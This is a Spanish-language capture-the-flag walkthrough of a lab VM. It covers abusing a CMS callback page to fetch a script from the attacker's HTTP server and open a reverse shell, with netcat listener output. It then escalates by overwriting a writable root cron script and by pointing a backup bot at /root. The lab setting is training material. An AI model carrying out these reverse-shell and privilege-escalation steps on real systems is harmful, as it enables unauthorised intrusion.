Vamos a http://192.168.1.32/cms/ y
pulsamos el boton.
"Algo" se ha activado, lo cual nos ha "hackeado" el cms...
Volvemos a http://192.168.1.32/cms/
y obtenemos la flag1.
Ahora escaneamos el directorio cms para ver que encontramos.
Vemos una carpeta llamativa asi que entramos
en http://192.168.1.32/cms/cc.
Vemos que la web nos pide IP y puerto...
Ponemos un HTTP a la escucha, y ponemos la IP/puerto
de nuestro server.
Podemos ver como se conecta a nuestro server y nos solicita un fichero.sh.
Creamos un fichero con el nombre.sh que solicita, y de contenido ponemos
que nos haga una shell inversa a nuestra maquina.
sml@Cassandra:~$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.32] 52750
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ahora que tenemos una shell, exploramos un poco el sistema.
python -c 'import pty; pty.spawn("/bin/sh")'
$ cd /home
$ ls
alice
$ cd alice
$ ls
flag.txt note.txt script
$ cat flag.txt
cat flag.txt
{FLAG2:**Robing the rober**}
$ cat note.txt
Alice,
Please do not install TrustMeCMS, I need check the source before
PS: I created a script to clear apache log during the tests
root
Miramos la carpeta script, y el script que ha creado root.
$ cd /home/alice/script
$ cat log.py
cat log.py
#!/usr/bin/python2.7
import requests
import os
import datetime
"""
#Juste in case I want stop this script remotly
r = requests.get("https://pastebin.com/raw/9vzu2CA5")
cmd=str(r.text)
check ="stopit"
if check == cmd :
os.system('cp /home/alice/script/log.py /home/alice/script/log.bak')
"""
path="/var/log/apache2"
dir = os.listdir(path)
date = str(datetime.datetime.now())
for logfile in dir :
clear = open(path+"/"+logfile, "w")
clear.truncate(0)
clear.close()
logfile = open("/home/alice/script/clear.log","w")
logfile.write("last clear apache log "+date)
logfile.close()
Podemos modificar la carpeta, asi que creamos un script
en python con el mismo nombre, y que haga de nuevo una
shell inversa hasta nuestra maquina
Ponemos a la escucha de la nueva shell...y al rato...
sml@Cassandra:~$ nc -nlvp 5556
listening on [any] 5556 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.32] 46634
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
uid=1000(alice) gid=1000(alice)
groupes=1000(alice),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
,109(netdev),111(bluetooth)
Exploramos de nuevo.
$ cd /home/alice
$ ls
backup flag.txt note.txt script
$ cd backup
$ ls
flag.txt logbot.log note.txt path.txt
$ cat flag.txt
{FLAG3:**Power of snak**}
$ cat note.txt
cat note.txt
Alice we have been hacked !
Please put the path of the website backup directory in path.txt, my bot will do
the rest
thx
root
La nota indica que pongamos el directorio que queremos recuperar, asi que
ponemos /root :) y al poco tiempo....
(root)flag.txt
$ echo "/root" > path.txt
$ ls
flag.txt logbot.log note.txt path.txt root
$ cd root
$ ls
flag.txt log.txt test.py
$ cat flag.txt
Congratulation for the root flag !
_________
/ ======= \
/ __________\
| ___________ |
| | -root- | |
| | | |
| |_________|
|_____________________________________________________________________
\=____________/ enjoyed this VM ?
)
/ """"""""""" \ I love bitcoin
/
/ ::::::::::::: \ 1Ba6vFEamUenzrXr4scGQ8QLya7t7zYZ1S
=D-'
(_________________)